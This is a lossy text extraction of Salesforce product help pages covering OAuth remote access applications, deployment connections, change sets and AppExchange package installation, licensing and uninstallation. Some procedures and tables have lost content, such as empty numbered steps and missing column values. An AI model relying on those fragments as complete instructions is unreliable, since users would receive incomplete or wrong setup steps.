Invalid callback
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 Username-Password Flow
Using the Access Token
2206
Develop
When you delete a remote access application contained in a managed package, access to that application is immediately
removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the
managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior.
To delete remote access applications, click Your Name > Setup > Develop > Remote Access. In the list of remote access
applications, click Del next to the name of the remote access application to delete.
See Also:
Remote Access Application Overview
Defining Remote Access Applications
Use the remote access pages to specify remote access applications that can access a Salesforce instance.
To view the details for a defined application, click Your Name > Setup > Develop > Remote Access, and click the name of
the application.
From this page you can do any of the following:
2207
Develop
See Also:
Remote Access Application Overview
Defining Remote Access Applications
The external application you are using is requesting access to your Salesforce data. The external application has already been
integrated into Salesforce by your administrator.
To grant this application access to your Salesforce data, click Accept.
If the description of the application does not match the application you are currently using or for any other reason you do not
want to grant access to your data, click Deny.
If the currently logged in user is not you, click Not you? to log out the current user and log in as yourself.
You can only grant access to an external application a specific number of times. Generally, you grant access for every device
you use, such as a laptop and a desktop computer. The default is five per application. If youve reached the limit for your
organization, granting access to this application automatically revokes access to the token or tokens for this application that
havent been used for the longest period of time. The remote access application token or tokens that will be revoked display
on the page.
After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My
Personal Information > Personal Information, then in the Remote Access related section, click Revoke.
See Also:
Remote Access Application Overview
2208
Develop
The external application you are using has requested access to your Salesforce data, and you approved this request. Close the
browser window and go back to the application you were using.
After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My
Personal Information > Personal Information, then in the Remote Access related section, click Revoke.
See Also:
Remote Access Application Overview
Remote Access Application Request
The external application you are using has requested access to your Salesforce data and you denied this access. You should log
out of Salesforce. You can go back to the originating application.
See Also:
Remote Access Application Overview
Remote Access Application Request
2209
Develop
A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce
user and the external application. All remote access applications have been integrated with Salesforce, such that they can
access a subset of your Salesforce data once you explicitly grant each application permission.
All remote access applications that have permission to access your Salesforce data are listed in your personal information. Click
Your Name > Setup > My Personal Information > Personal Information, and go to the Remote Access section. From there
you can do the following:
View information about each remote access application that you have granted access to, as well as the number of times and
the last time the application attempted to access your information.
Note:
An application may be listed more than once. Each time you grant access to an application, it obtains a new
access token. You must grant access to your Salesforce data from each device that you use, for example, from
both a laptop and a desktop computer. The default limit is five access tokens for each application. Newer
applications (using the OAuth 2.0 protocol) are automatically approved for additional devices after you've
granted access once. OAuth 2.0 applications are only listed once.
Even if the remote access application tried and failed to access your information because it could not login, the
Use Count and Last Used fields are still updated.
Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use
that particular remote access authorization token to access your Salesforce data.
Important: You must revoke all access tokens for a particular application to prevent it from accessing your
Salesforce data.
If you're using Salesforce Mobile and want to use a new mobile device, download the app on the new device and log in. You
do not need to revoke the token on the old device; Salesforce automatically creates a new one.
See Also:
Remote Access Application Overview
2210
Deploy
Deployment Overview
DEPLOY
Deployment Overview
User Permissions Needed
To edit deployment connections:
To use outbound change sets:
Click Your Name > Setup > Deploy to access tools used for migrating metadata changes between organizations.
Deployment Connections
In order to use the change sets feature, a deployment connection is required. You can specify connection permissions
for both outbound and inbound change sets on the Deployment Connections page.
Outbound Change Sets
Make changes in the organization you are logged into, and upload those changes to another organization.
Inbound Change Sets
Accept, modify, or reject change sets uploaded from other organizations.
Monitor Deployments
Monitor the progress of deployments made through the Metadata API.
Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.
See Also:
Change Sets Overview
Monitoring Metadata Deployments
2211
Changesets
CHANGESETS
Change Sets Overview
Available in Enterprise, Unlimited, and Database.com Editions
A change set is a means by which one organization can send customizations to another organization. For example, you could
create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can
only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of
contact records. In other words, change sets contain metadata, not data.
When you want to send customizations from your current organization to another organization, you create an outbound change
set. Once you send the change set, the receiving organization sees it as an inbound change set.
Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent
between organizations that are affiliated with a production organization, for example, a production organization and a sandbox,
or two sandboxes created from the same organization.
See Also:
Components Available in Change Sets
Deployment Connections
Outbound Change Sets
Inbound Change Sets
Change Sets Implementation Tips
Change Sets Best Practices
2212
Deploy
2213
Deploy
Queue
Record Type
Remote Site
Report
Role
S-Control
Static resource
Tab
Territory
Validation Rule
Visualforce Component
Visualforce Page
Workflow Email Alert
Workflow Field Update
Workflow Outbound Message
Workflow Rule
Workflow Task
Workflow Time Trigger
Note: If you create or modify components that arent available in a change set, you can't send those components from
one organization to another in a change set. In this case, migrate the changes manually by repeating the steps you
performed when you created or modified the component.
See Also:
Force.com Metadata API Developer's Guide
Change Sets Overview
Developers can use permission sets or profile settings to specify permissions and other access settings in a change set. When
deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences.
Behavior
Permission Sets
Profile Settings
Assigned apps
Tab settings
Page layout assignments
Record type assignments
Custom object permissions
Custom field permissions
2214
Deploy
Deployment Connections
Behavior
Permission Sets
Profile Settings
Added as a component?
Yes
Note: Login IP ranges included in profile settings will overwrite the login IP ranges for any matching profiles in the
target organization.
Deployment Connections
User Permissions Needed
To edit deployment connections:
In order for change sets to be sent from one organization to another, a deployment connection is required between the
organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection
is created between all organizations affiliated with a production organization. For example, if you have a production organization
(Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod
and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test).
A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be
authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations'
setup metadata from being overwritten by mistake.
For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In
this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is
authorized to upload change sets to production. In order to synchronize development projects with the production organization,
the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in
development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.
2215
Deploy
See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview
2216
Deploy
See Also:
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview
See Also:
Viewing Available Deployment Connections
Authorizing a Deployment Connection
Change Sets Overview
2217
Deploy
Click Your Name > Setup > Deploy > Deployment Connections.
Click Edit next to the organization you want to authorize.
Select Allow Inbound Changes.
Click Save.
See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Change Sets Overview
See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
2218
Deploy
See Also:
Creating an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
Click Your Name > Setup > Deploy > Outbound Change Sets.
In the Change Sets list, click the name of a change set, or create a new one.
Click Add to add components.
Choose the type of component and the components you want to add, and then click Add to Change Set.
Click Add Profiles to add profile settings to the change set.
Optionally, click View/Add Dependencies to add dependent components.
2219
Deploy
Note: Dependent components rely on the existence of other components. Unless you are certain that the dependent
components exist in every organization this change set will be deployed to, it's a good idea to add dependent
components to the change set.
See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
Click Your Name > Setup > Deploy > Outbound Change Sets.
Click the name of a change set.
Select the organization you want to send the change set to.
Click Upload.
Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.
See Also:
Creating an Outbound Change Set
Uploading Change Sets During Server Upgrades
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
2220
Deploy
If you upload a change set that has components that can't be deployed because they are incompatible with the older version,
the system detects which components can't be deployed, and gives you the option of uploading the remaining components.
Click Your Name > Setup > Deploy > Outbound Change Sets.
In the Change Sets list, click the name of a change set.
Click View/Add Dependencies.
On the Component Dependencies page, select the dependent components you wish to deploy and click Add to Change
Set.
Caution: If your change set contains more than 2500 dependencies you will only be able to see the first 2500 in the
view dependencies page.
See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
2221
Deploy
Note: You can't view the source of a Static Resource, Document, or Folder.
See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Deleting an Outbound Change Set
Change Sets Overview
See Also:
Creating an Outbound Change Set
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Change Sets Overview
2222
Deploy
See Also:
Viewing Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview
See Also:
Inbound Change Sets
Viewing Change Set Details
Validating a Change Set
Deploying a Change Set
Change Sets Overview
2223
Deploy
See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Deploying a Change Set
Change Sets Overview
See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Viewing Change Set Details
Change Sets Overview
2224
Deploy
Monitoring Deployments
Monitoring Deployments
The size and complexity of the change set determines how long it takes for a change set to deploy. During this time, it can be
helpful to monitor the deployment. To track the status of deployments that are in progress click Your Name > Setup > Deploy
> Inbound Change Sets > Change Set Detail. Under the Deployment History related list, click View Results.
Note: The Monitor Deployments page can be used for checking the status of deployments made through the Metadata
API. However, change sets are not currently supported in the Monitor Deployments page.
See Also:
Change Sets Best Practices
Change Sets Overview
2225
Deploy
2226
Deploy
See Also:
Change Sets Implementation Tips
Change Sets Overview
You can use the Metadata API to deploy XML file representations of components into an organization. A component is an
instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the
MyCustomObject__c component is an instance of a custom object.
The easiest way to access the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built
on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the
Metadata API.
The deploy call in the Metadata API is asynchronous and may take a while to complete. The Force.com IDE and Force.com
Migration Tool use the deploy call to move XML file representations of components into an organization. To track the status
of deployments that are in progress or completed in the last 24 hours for these tools or other clients that are deploying metadata,
click Your Name > Setup > Deploy > Monitor Deployments.
The Deployments In Progress list contains the following columns:
Column
Description
Created By
Start Time
Validate
Only
Indicates whether this deployment is being used to check the validity of the deployed files without making
any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.
2227
Deploy
Column
Description
Status
Components
The progress of the deployment. For example, 10 / 15 (3 errors) indicates that ten components
have been processed successfully out of a total of 15. There were errors for three other components processed
so far.
Tests
The progress of the Apex tests that have been run. For example, 13 / 20 (2 errors) indicates that
13 tests have been run successfully out of a total of 20. There were errors for two other tests that have run
so far. The value for the total number of tests is not accurate until the test phase of the deployment has
started.
The Completed Deployments Last 24 Hours list contains the following columns. Completed deployments are removed from
the list 24 hours after completion.
Column
Description
Created By
Start Time
End Time
Validate
Only
Indicates whether this deployment is being used to check the validity of the deployed files without making
any changes in the organization. A validate-only deployment does not deploy any components or change
the organization in any way.
Status
Components
The number of components, including those with errors, that were processed in the deployment. For
example, 10 (1 error) indicates that ten components were processed and there was an error for one
component.
2228
Installed Packages
Installed Packages
Column
Description
Tests
The number of Apex tests, including those with errors, that were run. For example, 13 (2 errors)
indicates that 13 tests were run and there were errors for two tests.
See Also:
Metadata API Developer's Guide
INSTALLED PACKAGES
Installed Packages
You can install packages into your Salesforce organization, and then configure and manage them by clicking Your Name >
Setup > Installed Packages.
Installing a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
If you received an installation link, click the link and skip to this step on page 2229. Otherwise follow this procedure from the
beginning.
Note: Only one person in your organization can install or upload a package at a time.
4. Enter your username and password, read the user terms, select the checkbox, and click Continue.
2229
Installed Packages
Installed Packages
Note: If you are installing into a sandbox, replace the www.salesforce.com portion of the installation link with
test.salesforce.com. Note that this package is removed from your sandbox organization whenever you create a
new sandbox copy.
5. If the package is password protected, enter the password you received from the publisher.
6. Review the package items and click Continue.
Note: Some package items, such as validation rules, record types, or custom settings may not display in the Package
Item list but are included in the package and installed with the other items. If there are no items in the Package
Items list, the package may contain only minor changes not recorded.
7. Review the remote access applications that are listed to ensure they are acceptable, and click Next to continue or Cancel
to cancel package installation.
Note: Every remote access application represents a trusted application that is granted access to a user's Salesforce
data after the user and the application have been verified.
8. If the installing package contains a remote site setting, you need to approve access to websites outside of Salesforce. The
dialog box lists all the websites that the package communicates with. It is highly recommended that a website uses SSL
(secure sockets layer) when transmitting data. After making sure that the websites are safe, check Yes, grant access to these
third-party websites and click Continue, or click Cancel to cancel installing the package.
Caution: By installing remote site settings, you are allowing the package to transmit data to and from a third party
website outside the Salesforce service. Contact the publisher before using the package to understand what data is
transmitted and how it's used. If you have an internal security contact, ask them to review the application and
understand its impact before use.
9. Review the API access that package components have been granted to ensure they are acceptable. For more information,
see About API and Dynamic Apex Access in Packages on page 2234.
10. When installing unmanaged packages, you can select Resolve Naming Conflicts Automatically. When this is
selected, Salesforce changes the name of the component in the package being installed.
11. In Enterprise, Unlimited, and Developer Editions, choose a security option, and click Next:
Grant access to admins only
Specifies the following settings on the installing administrators profile and any profile with the "Customize
Application" permission:
Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator
After installation, if you have Enterprise, Unlimited, or Developer Edition, you can set the appropriate user and
object permissions on custom profiles as needed.
2230
Installed Packages
Installed Packages
Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator
Note: The Customer Portal User, Customer Portal Manager, High Volume Customer Portal, Authenticated
Website, Partner User, and standard profiles receive no access.
Depending on the type of install, you might not see this step. For example, in Group and Professional Editions,
or if the package does not contain a custom object, Salesforce skips this step and the next, giving all users full
access.
Permission sets aren't included in the security options. If your package includes permission sets, assign them
after installation.
12. In Enterprise, Unlimited, and Developer Editions, if you chose Select security settings, select the level of access to give
users in each profile and click Next. Standard options are:
Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled
Field-level securitySet to visible and editable for all fields
Apex classesEnabled
Visualforce pagesEnabled
App settingsEnabled
Tab settingsDetermined by the package creator
Page layout settingsDetermined by the package creator
Record Type settingsDetermined by the package creator
No AccessSpecifies the same settings as Full Access, except all object permissions are disabled.
You might see other options if the publisher has included settings for custom profiles. You can incorporate the settings of
the publishers custom profiles into your profiles without affecting your existing settings. Choose the name of the profile
settings in the drop-down list next to the profile you want them applied to. The current settings in that profile remain
intact.
Alternatively, click Set All next to an access level to give this setting to all user profiles.
2231
Installed Packages
Installed Packages
13. Click Install. If your installation fails, see Why did my install or upgrade fail? on page 3594.
Note: During installation, Salesforce checks and verifies any dependencies. An installers organization must meet
all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example,
the installer's organization must have divisions enabled to install a package that references divisions.
Note: When you install a component that contains Apex, all unit tests for your organization are run, including
the unit tests contained in the new package. If a unit test relies on a component that is initially installed as inactive,
such as a workflow rule, this unit test may fail. You can select to install regardless of unit test failures.
14. Click OK.
15. Configure components in the package.
16. If the package includes permission sets, assign the included permission sets to your users who need them. In managed
packages, you can't make changes to permission sets that are included in the package, but subsequent upgrades happen
automatically. If you clone a permission set that comes with a managed package or create your own, you can make changes
to the permission set, but subsequent upgrades won't affect it.
17. If you are reinstalling a package and want to re-import the package data using the export file you received after uninstalling,
see Importing Package Data on page 2243.
18. If you installed a managed package, click Manage Licenses, to assign licenses to users.
See Also:
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Configuring Installed Packages
About API and Dynamic Apex Access in Packages
Apex Class Security Overview
Installation Guide: Installing Apps from Force.com AppExchange
Customize Application
Before making the package available to your users, make any necessary changes for your implementation. Depending on the
contents of the package, you might need to customize the following items:
2232
Installed Packages
Installed Packages
Configure Option
If the publisher included a link to an external website with information about configuration, AppExchange Downloads
page displays a Configure option next to the package when you click Your Name > Setup > Installed Packages. Click
Configure to view the publisher's suggested configurations.
Custom Fields and Custom Links
Add any necessary custom fields or links to the new custom objects.
Custom Object
Enable tracking on objects that aren't in this package, but that have fields that are tracked in Chatter. For example, if
you want to track a custom field on Account, you must make sure the Account standard object is enabled for tracking.
Custom Report Types
If the Report Type Name of a custom report type matches one used within your organization, change the Report
Type Name after you install the package to avoid any confusion between the two report types.
Dashboard Running User
The Running User for any dashboards are set to the user installing the package. You can edit the properties of the
dashboard and change the Running User to a user that has the security settings you want applied to the dashboard.
Folders
When apps contain documents, email templates, reports, or dashboards, Salesforce creates new folders in the installers
organization using the publishers folder names. Make sure these folder names are unique in your organization.
All users can see new folders. Configure folder settings before you deploy if you want them to have limited visibility.
Home Page Layouts
Custom home page layouts included in the package are not assigned to any users. To make them available to your users,
assign them to the appropriate profiles.
List Views
List views included in apps are visible to all users. Change the visibility of these list views if necessary.
Page Layouts
All users are assigned the default page layout for any custom objects included in the package. Administrators of Enterprise,
Unlimited, and Developer Edition organizations can configure the page layout for the appropriate users.
If a custom object in the package includes any relationships to standard objects, add them as related lists on the appropriate
page layouts.
If the package includes any custom links, add them to the appropriate page layouts.
If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Remove
these fields from any page layouts.
Permission Sets
Assign permission sets included in a package to the users who need access to the package.
You can't edit permission sets that are included in a managed package. If you clone a permission set that comes with the
package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it.
2233
Installed Packages
Installed Packages
Translation Workbench
Translated values for installed package components are also installed for any language that the developer has included.
Any package components the developer has customized within setup, such as a custom field or record type, display in
the installers setup pages in the developers language (the language used when defining these components). Users in the
installers organization automatically see translated values if their personal language is included in the package. Additionally,
installers can activate additional languages as long as the Translation Workbench is enabled.
Workflow Alerts
If the recipient of a workflow alert is a user, Salesforce replaces that user with the user installing the package. You can
change the recipients of any installed workflow alerts.
Workflow Field Updates
If a field update is designed to change a record owner field to a specific user, Salesforce replaces that user with the user
installing the package. You can change the field value of any installed field updates.
Workflow Outbound Messages
Salesforce replaces the user in the User to send as field of an outbound message with the user installing the package.
You can change this value after installation.
Workflow Rules
Workflow rules are installed without any time-based triggers that the developer might have created. Set up time-based
triggers as necessary.
Workflow Tasks
Salesforce replaces the user in the Assigned To field with the user installing the package. You can change this value
after installation.
Make any more customizations that are necessary for your implementation.
Note: Anything you add to a custom app after installation will be removed with the custom app if you ever uninstall
it.
See Also:
Installing a Package
About API and Dynamic Apex Access in Packages
Package components have access via dynamic Apex and the API to standard and custom objects in the organization where
they are installed. Developers of Force.com AppExchange packages that are intended for external customers (also called
third-party developers or partners) may wish to restrict this access. Restricting access makes packages safer for administrators
2234
Installed Packages
Installed Packages
to install. Also, administrators who install such packages may wish to restrict this access after installation, even if the package
developers have not, for improved security.
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:
The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installers organization or objects installed by unrelated
packages.
There are two possible options for the API Access setting:
The default Unrestricted, which gives the package components the same API access to standard objects as the user
who is logged in when the component sends a request to the API. Apex runs in system mode. Unrestricted access gives
Apex read access to all standard and custom objects.
Restricted, which allows the administrator to select which standard objects the components in the package can access.
Further, the components in restricted packages can only access custom objects in the current package if the user has the
object permissions that provide access to them.
Choosing Restricted for the API Access setting in a package affects the following:
Author Apex
Customize Application
Edit HTML Templates
Edit Read Only Fields
Manage Billing
Manage Call Centers
Manage Categories
Manage Custom Report Types
Manage Dashboards
Manage Letterheads
Manage Package Licenses
Manage Public Documents
2235
Installed Packages
Installed Packages
If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access
to those objects from the package components, even if the user has the Modify All Data and View All Data permissions.
Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access. For more information about executeanonymous and accessing Web services with Apex, see the
Force.com Apex Code Developer's Guide.
Workflow rules and Apex triggers fire regardless of API access in a package.
If a component is in more than one package in an organization, API access is unrestricted for that component in all packages
in the organization regardless of the access setting.
If Salesforce introduces a new standard object after you select restricted access for a package, access to the new standard
object is not granted by default. You must modify the restricted access setting to include the new standard object.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package
access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.
S-controls are served by Salesforce and rendered inline in Salesforce. Because of this tight integration, there are several
means by which an s-control in an installed package could escalate its privileges to the users full privileges. In order to
protect the security of organizations that install packages, s-controls have the following limitations:
For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages
with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API
access.
For packages you have installed, you can enable access restrictions even if the package contains s-controls. However,
access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the
JavaScript in an s-control before relying on access restriction for s-control security.
If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
See Also:
Installing a Package
Configuring Installed Packages
2236
Installed Packages
Uninstalling a Package
Uninstalling a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
You can remove any installed package, including all of its components and all data in the package. Additionally, any custom
fields, links, or anything else you added to the custom app after installation are also removed.
To remove a package:
1.
2.
3.
4.
If you are uninstalling a package that includes a custom object, all components on that custom object are also deleted. This
includes custom fields, validation rules, s-controls, custom buttons and links, as well as workflow rules and approval
processes.
You cannot uninstall a package whenever any component in the package is referenced by a component that will not get
included in the uninstall. For example:
When an installed package includes any component on a standard object that another component references, Salesforce
prevents you from uninstalling the package. This means that you can install a package that includes a custom user field
and build a workflow rule that gets triggered when the value of that field is a specific value. Uninstalling the package
would prevent your workflow from working.
When you have installed two unrelated packages that each include a custom object and one custom object component
references a component in the other, Salesforce prevents you from uninstalling the package. This means that you can
install an expense report app that includes a custom user field and create a validation rule on another installed custom
object that references that custom user field. However, uninstalling the expense report app prevents the validation rule
from working.
When an installed folder contains components you added after installation, Salesforce prevents you from uninstalling
the package.
When an installed letterhead is used for an email template you added after installation, Salesforce prevents you from
uninstalling the package.
2237
Installed Packages
Uninstall export files contain custom app data for your package, excluding some components, such as documents and
formula field values.
See Also:
Installing a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Importing Package Data
Installation Guide: Installing Apps from the AppExchange
View a list of the packages you installed from AppExchange and data export files from uninstalled packages by clicking Your
Name > Setup > Installed Packages. These packages can be either managed or unmanaged.
Note: Salesforce only lists license information for managed packages. For unmanaged packages, the license-related
fields, such as Allowed Licenses, Used Licenses, and Expiration Date, will display the value N/A.
Using this list, you can:
Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package
on page 2237.
Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. For more information, see Managing Licenses for Installed Packages on page 2244.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate permissions.
Click Configure if the publisher has included a link to an external website with information about configuring the package.
Click the package name to view details about this package.
View the publisher of the package.
View the status of the licenses for this package. Available values include:
2238
Installed Packages
Trial
Active
Suspended
Expired
Free
Track the number of licenses available (Allowed Licenses) and the number of licenses that are assigned to users (Used
Licenses).
View the date your licenses for this package are scheduled to expire.
View the date your licenses were installed.
Note: If you have not installed a licensed managed package, the Publisher, Status, Allowed Licenses, Used
Licenses, and Expiration Date fields do not appear.
After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes
and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to the user
performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We
recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes.
Using this list, you can:
See Also:
Installing a Package
Uninstalling a Package
Managing Licenses for Installed Packages
Upgrading Packages
Displaying Installed Package Details
Importing Package Data
2239
Installed Packages
The package detail page displays essential details about the package you installed from AppExchange. To access the package
detail page, click Your Name > Setup > Installed Packages, then click the name of the package you want to view.
From this page, you can:
Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package
on page 2237.
Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. See Managing Licenses for Installed Packages on page 2244.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate permissions.
Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1970. Click Done
to return to the Package detail page.
Description
Action
Allowed Licenses
Description
Installed Date
2240
Installed Packages
Attribute
Description
Expiration Date
The date that this license expires, based on your terms and
conditions. The expiration date is Does Not Expire if the
package will never expire.This field is only displayed if the
package is managed and licensed.
Namespace
Package Name
Publisher
Remote Access
Status
Used Licenses
Version Name
The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Description
API Access
The type of access that the API and dynamic Apex code that
package components have. The default setting is Unrestricted,
which means that all package components that access the API
have the same access as the user who is logged in. Click Enable
Restrictions or Disable Restrictions to change the API and
dynamic Apex access permissions for a package.
For more information about API and dynamic Apex access
for managed package components, see Managing API and
Dynamic Apex Access in Packages on page 1768.
2241
Installed Packages
Attribute
Description
Description
Installed By
Modified By
Namespace
Package Name
Package Type
Publisher
Version Name
The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Version Number
You can also see a list of the components included in an installed package. The following component information is displayed
(in alphabetical order):
Attribute
Description
Name
Parent Object
2242
Installed Packages
Attribute
Description
Type
See Also:
Managing Package Installations
Importing Package Data
When you uninstall an AppExchange package, Salesforce automatically creates an export file containing the package data as
well as any associated notes and attachments. If you choose to install the package again, you can import this data.
To import your AppExchange package data, use one of the following tools that is available for your Edition:
Salesforce converts date fields into date/time fields upon export. Convert the appropriate fields into date fields before you
import.
Salesforce exports all date/time fields in Greenwich Mean Time (GMT). Before importing these fields, convert them to
the appropriate time zone.
The value of auto number fields may be different when you import. To retain the old values, create a new custom auto
number field on a custom object before importing the data.
Salesforce updates system fields such as Created Date and Last Modified Date when you import. To retain the
old values for these fields, contact salesforce.com support.
Relationships are not included in the export file. Recreate any master-detail or lookup relationships after importing your
data.
Record type IDs are exported but not the record type name.
Field history is not exported.
2243
Installed Packages
Recreate any customizations that you made to the package after installation.
See Also:
Managing Package Installations
Displaying Installed Package Details
Uninstalling a Package
Installing a Package
When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses
to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have
the appropriate permissions.
1. Click Your Name > Setup > Installed Packages.
2. Click Manage Licenses next to the package.
Note: To assign licenses for a package, you must have access to the package and at least one available license.
To assign licenses to more users, click Add Users. For more information, see Assigning Licenses for Installed Packages
on page 2246.
To remove a license from a user, click Remove next to the user's name. To remove licenses from multiple users, click
Remove Multiple Users. For information, see Removing Licenses for Installed Packages on page 2247.
Click any column heading to sort the users in ascending order using the data in that column. Click the heading again
to sort in descending order.
2244
Installed Packages
See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Upgrading Packages
Managing Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages
Responding to License Manager Requests
Manage Users
When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
The Managed Packages related list on the user detail page lists all managed packages that user is assigned. Assigning a license
for a managed package makes the package available to the user within Salesforce.
Unmanaged packages will not appear on this list, as you cannot assign licenses for them.
To assign a user to a license for one of the available managed packages:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Assign Licenses from the Managed Packages list.
3. Select the package you want to assign to the user. All available managed packages are listed in the Unassigned Packages
